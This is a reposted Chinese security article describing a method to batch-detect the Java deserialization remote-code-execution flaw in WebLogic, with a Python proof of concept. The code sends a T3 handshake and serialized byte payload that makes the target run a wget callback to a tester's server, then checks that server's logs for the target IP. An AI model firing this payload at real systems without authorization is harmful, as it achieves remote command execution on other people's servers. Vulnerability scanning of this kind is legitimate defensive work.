转载

Java反序列化漏洞批量检测(附POC)

前言

Java反序列漏洞出现在人们视野已经有一段时间了,魔方安全团队对这个漏洞进行了复现,同时研究出了一种准确性较高的批量检测的思路,在此与各位安全圈的朋友分享。

背景

2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。

其实早在2015年的1月28号,国外的安全研究员Gabriel Lawrence和Chris Frohoff在AppSecCali上给出了一个报告,报告中已

经指出Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行。

‍‍ Java反序列漏洞简介

‍‍序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,类ObjectInputStream类的readObject()方法用于反序列化。下面是将字符串对象先进行序列化,存储到本地文件,然后再通过反序列化进行恢复的样例代码:

public static void main(String args[]) throws Exception { String obj = "hello world!"; // 将序列化对象写入文件object.db中 FileOutputStream fos = new FileOutputStream("object.db"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(obj); os.close();  // 从文件object.db中读取数据 FileInputStream fis = new FileInputStream("object.db"); ObjectInputStream ois = new ObjectInputStream(fis); // 通过反序列化恢复对象obj String obj2 = (String)ois.readObject(); ois.close(); }

问题在于,如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。

所以这个问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制;假若反序列化可以设置Java类型的白名单,那么问题的影响就小了很多。

本文针对该漏洞的原理将不再详细描述,可参考长亭科技在11月初发布针对该漏洞的详细原理介绍: Lib之过?Java反序列化漏洞通用利用分析

漏洞检测

检测用工具

该漏洞的利用方法目前已经有成型的工具,其中包括国外研究者编写的 ysoserial ,以及国内研究者编写的 serial.jar ,均可以生成攻击payload。

检测思路

拓扑结构:

Java反序列化漏洞批量检测(附POC)

由于目前来说暂未发现可直接回显结果的方法,单纯检测包返回结果无法很精确的发现是否存在漏洞,因此我们采用了结合第三方的方式进行批量检查,检测服务器发送payload到受检测主机,受监测主机执行远程命令访问测试服务器打开的Web服务,登录测试服务器查看测试服务器的Web访问日志日志,确认受检测主机IP地址是否在日志文件上,测试服务器日志上存在受监测主机的IP地址,则可以确认受监测主机执行了命令,存在漏洞。

本次测试以使用最多的Weblogic为例,使用工具生成 payload ,payload中执行的命令为

wget http://x.x.x.x/libreversex.html

其中x.x.x.x为我们搭建用于接受wget命令的测试服务器的IP

Java反序列化漏洞批量检测(附POC)

然后利用 国外的POC 进行修改,在代码后面加入远程读取服务器日志,并匹配日志中是否存在该IP地址,其中读取目标服务器访问日志,我们使用了一个技巧,即将目标服务器的Web访问日志做个硬链接到Web目录下,这样就可以远程直接读取Web日志进行比对,确认该IP是否存在安全漏洞:

Java反序列化漏洞批量检测(附POC)

运行结果:

Java反序列化漏洞批量检测(附POC)

在批量检测过程中,我们发现并不是说仅有7001存在该安全漏洞,部分站点80端口也存在该漏洞,因为只要是接受T3协议的端口均会存在该安全漏洞。

检测方法总结

优点:

该检测方法直接通过执行命令方式并查看执行结果的方式进行检测,准确率高。

缺点:

1. 若内网防火墙禁止内部主机主动访问外部,则无法成功检测,因此存在漏报的可能。

2. 对于windows下的主机,由于无wget命令,无法使用该方式检测。

检测用测试代码

以下是WebLogic的POC,采用的BBT的框架:

#!/usr/bin/env python # coding=utf-8 import socket import sys import requests import base64 import string import urlparse import os import time import requests from baseframe import BaseFrame class MyPoc(BaseFrame):  poc_info = {   # poc相关信息   'poc': {    'id': 'poc-2015-1113',    'name': 'java反序列漏洞weblogic',    'author': 'vicky',    'create_date': '2015-11-13',   },   # 协议相关信息   'protocol': {    'name': '*',    'port': ['*'],    'layer4_protocol': ['tcp'],   },   # 漏洞相关信息   'vul': {    'app_name': 'java',    'vul_version': ['*'],    'type': '远程命令执行',    'tag': ['Java反序列漏洞', '远程命令执行', 'weblogic'],    'desc': '''      java 反序列漏洞使远程执行任意对象,配合weblogic中的Java反序列可使存在jenkins的系统远程执行命令      ''',    'references': ['http://blog.chaitin.com/2015-11-11_java_unserialize_rce/?from=timeline&isappinstalled=0#rdd',          ],   },  }  def _init_user_parser(self):   self.user_parser.add_option('-p','--port',         action='store', dest='port', type='int', default=6379,         help='this poc need the port to connect redis'         'the default port is 6379.')  @classmethod  def verify(cls, args):   ip=args['options']['target']   port=args['options']['port']   socket.setdefaulttimeout(5)   payload='/x00/x00/x09/xfc/x01/x65/x01/xff/xff/xff/xff/xff/xff/xff/xff/x00/x00/x00/x71/x00/x00/xea/x60/x00/x00/x00/x18/x43/x2e/xc6/xa2/xa6/x39/x85/xb5/xaf/x7d/x63/xe6/x43/x83/xf4/x2a/x6d/x92/xc9/xe9/xaf/x0f/x94/x72/x02/x79/x73/x72/x00/x78/x72/x01/x78/x72/x02/x78/x70/x00/x00/x00/x0c/x00/x00/x00/x02/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x01/x00/x70/x70/x70/x70/x70/x70/x00/x00/x00/x0c/x00/x00/x00/x02/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x01/x00/x70/x06/xfe/x01/x00/x00/xac/xed/x00/x05/x73/x72/x00/x1d/x77/x65/x62/x6c/x6f/x67/x69/x63/x2e/x72/x6a/x76/x6d/x2e/x43/x6c/x61/x73/x73/x54/x61/x62/x6c/x65/x45/x6e/x74/x72/x79/x2f/x52/x65/x81/x57/xf4/xf9/xed/x0c/x00/x00/x78/x70/x72/x00/x24/x77/x65/x62/x6c/x6f/x67/x69/x63/x2e/x63/x6f/x6d/x6d/x6f/x6e/x2e/x69/x6e/x74/x65/x72/x6e/x61/x6c/x2e/x50/x61/x63/x6b/x61/x67/x65/x49/x6e/x66/x6f/xe6/xf7/x23/xe7/xb8/xae/x1e/xc9/x02/x00/x09/x49/x00/x05/x6d/x61/x6a/x6f/x72/x49/x00/x05/x6d/x69/x6e/x6f/x72/x49/x00/x0b/x70/x61/x74/x63/x68/x55/x70/x64/x61/x74/x65/x49/x00/x0c/x72/x6f/x6c/x6c/x69/x6e/x67/x50/x61/x74/x63/x68/x49/x00/x0b/x73/x65/x72/x76/x69/x63/x65/x50/x61/x63/x6b/x5a/x00/x0e/x74/x65/x6d/x70/x6f/x72/x61/x72/x79/x50/x61/x74/x63/x68/x4c/x00/x09/x69/x6d/x70/x6c/x54/x69/x74/x6c/x65/x74/x00/x12/x4c/x6a/x61/x76/x61/x2f/x6c/x61/x6e/x67/x2f/x53/x74/x72/x69/x6e/x67/x3b/x4c/x00/x0a/x69/x6d/x70/x6c/x56/x65/x6e/x64/x6f/x72/x71/x00/x7e/x00/x03/x4c/x00/x0b/x69/x6d/x70/x6c/x56/x65/x72/x73/x69/x6f/x6e/x71/x00/x7e/x00/x03/x78/x70/x77/x02/x00/x00/x78/xfe/x01/x00/x00'   try :    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    server_address = (ip, int(port))    headers='t3 12.2.1/nAS:255/nHL:19/nMS:10000000/nPU:t3://us-l-breens:7001/n/n'    sock.connect(server_address)    sock.sendall(headers)    data = sock.recv(1024)   except Exception,e:    return args   if "HELO" in data:    try:     payloadObj = open(“serial.wget”).read()     payload=payload+payloadObj        payload=payload+'/xfe/x01/x00/x00/xac/xed/x00/x05/x73/x72/x00/x1d/x77/x65/x62/x6c/x6f/x67/x69/x63/x2e/x72/x6a/x76/x6d/x2e/x43/x6c/x61/x73/x73/x54/x61/x62/x6c/x65/x45/x6e/x74/x72/x79/x2f/x52/x65/x81/x57/xf4/xf9/xed/x0c/x00/x00/x78/x70/x72/x00/x21/x77/x65/x62/x6c/x6f/x67/x69/x63/x2e/x63/x6f/x6d/x6d/x6f/x6e/x2e/x69/x6e/x74/x65/x72/x6e/x61/x6c/x2e/x50/x65/x65/x72/x49/x6e/x66/x6f/x58/x54/x74/xf3/x9b/xc9/x08/xf1/x02/x00/x07/x49/x00/x05/x6d/x61/x6a/x6f/x72/x49/x00/x05/x6d/x69/x6e/x6f/x72/x49/x00/x0b/x70/x61/x74/x63/x68/x55/x70/x64/x61/x74/x65/x49/x00/x0c/x72/x6f/x6c/x6c/x69/x6e/x67/x50/x61/x74/x63/x68/x49/x00/x0b/x73/x65/x72/x76/x69/x63/x65/x50/x61/x63/x6b/x5a/x00/x0e/x74/x65/x6d/x70/x6f/x72/x61/x72/x79/x50/x61/x74/x63/x68/x5b/x00/x08/x70/x61/x63/x6b/x61/x67/x65/x73/x74/x00/x27/x5b/x4c/x77/x65/x62/x6c/x6f/x67/x69/x63/x2f/x63/x6f/x6d/x6d/x6f/x6e/x2f/x69/x6e/x74/x65/x72/x6e/x61/x6c/x2f/x50/x61/x63/x6b/x61/x67/x65/x49/x6e/x66/x6f/x3b/x78/x72/x00/x24/x77/x65/x62/x6c/x6f/x67/x69/x63/x2e/x63/x6f/x6d/x6d/x6f/x6e/x2e/x69/x6e/x74/x65/x72/x6e/x61/x6c/x2e/x56/x65/x72/x73/x69/x6f/x6e/x49/x6e/x66/x6f/x97/x22/x45/x51/x64/x52/x46/x3e/x02/x00/x03/x5b/x00/x08/x70/x61/x63/x6b/x61/x67/x65/x73/x71/x00/x7e/x00/x03/x4c/x00/x0e/x72/x65/x6c/x65/x61/x73/x65/x56/x65/x72/x73/x69/x6f/x6e/x74/x00/x12/x4c/x6a/x61/x76/x61/x2f/x6c/x61/x6e/x67/x2f/x53/x74/x72/x69/x6e/x67/x3b/x5b/x00/x12/x76/x65/x72/x73/x69/x6f/x6e/x49/x6e/x66/x6f/x41/x73/x42/x79/x74/x65/x73/x74/x00/x02/x5b/x42/x78/x72/x00/x24/x77/x65/x62/x6c/x6f/x67/x69/x63/x2e/x63/x6f/x6d/x6d/x6f/x6e/x2e/x69/x6e/x74/x65/x72/x6e/x61/x6c/x2e/x50/x61/x63/x6b/x61/x67/x65/x49/x6e/x66/x6f/xe6/xf7/x23/xe7/xb8/xae/x1e/xc9/x02/x00/x09/x49/x00/x05/x6d/x61/x6a/x6f/x72/x49/x00/x05/x6d/x69/x6e/x6f/x72/x49/x00/x0b/x70/x61/x74/x63/x68/x55/x70/x64/x61/x74/x65/x49/x00/x0c/x72/x6f/x6c/x6c/x69/x6e/x67/x50/x61/x74/x63/x68/x49/x00/x0b/x73/x65/x72/x76/x69/x63/x65/x50/x61/x63/x6b/x5a/x00/x0e/x74/x65/x6d/x70/x6f/x72/x61/x72/x79/x50/x61/x74/x63/x68/x4c/x00/x09/x69/x6d/x70/x6c/x54/x69/x74/x6c/x65/x71/x00/x7e/x00/x05/x4c/x00/x0a/x69/x6d/x70/x6c/x56/x65/x6e/x64/x6f/x72/x71/x00/x7e/x00/x05/x4c/x00/x0b/x69/x6d/x70/x6c/x56/x65/x72/x73/x69/x6f/x6e/x71/x00/x7e/x00/x05/x78/x70/x77/x02/x00/x00/x78/xfe/x00/xff/xfe/x01/x00/x00/xac/xed/x00/x05/x73/x72/x00/x13/x77/x65/x62/x6c/x6f/x67/x69/x63/x2e/x72/x6a/x76/x6d/x2e/x4a/x56/x4d/x49/x44/xdc/x49/xc2/x3e/xde/x12/x1e/x2a/x0c/x00/x00/x78/x70/x77/x46/x21/x00/x00/x00/x00/x00/x00/x00/x00/x00/x09/x31/x32/x37/x2e/x30/x2e/x31/x2e/x31/x00/x0b/x75/x73/x2d/x6c/x2d/x62/x72/x65/x65/x6e/x73/xa5/x3c/xaf/xf1/x00/x00/x00/x07/x00/x00/x1b/x59/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/xff/x00/x78/xfe/x01/x00/x00/xac/xed/x00/x05/x73/x72/x00/x13/x77/x65/x62/x6c/x6f/x67/x69/x63/x2e/x72/x6a/x76/x6d/x2e/x4a/x56/x4d/x49/x44/xdc/x49/xc2/x3e/xde/x12/x1e/x2a/x0c/x00/x00/x78/x70/x77/x1d/x01/x81/x40/x12/x81/x34/xbf/x42/x76/x00/x09/x31/x32/x37/x2e/x30/x2e/x31/x2e/x31/xa5/x3c/xaf/xf1/x00/x00/x00/x00/x00/x78'     sock.send(payload)     time.sleep(10)     data=requests.get('http://IP:PORT/log.log')     if data.content.count(str(ip)) > 0:      args['success'] = True      args['poc_ret']['ip'] = ip      args['poc_ret']['port']= port    except Exception,e:     return args   return args  exploit = verify if __name__ == '__main__':  from pprint import pprint  mp = MyPoc() pprint(mp.run()) 

参考资料:

http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

https://github.com/CaledoniaProject/jenkins-cli-exploit

http://blog.chaitin.com/2015-11-11_java_unserialize_rce/?from=timeline&isappinstalled=0#rd 

* 作者:CUBESEC Vicky,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

正文到此结束
Loading...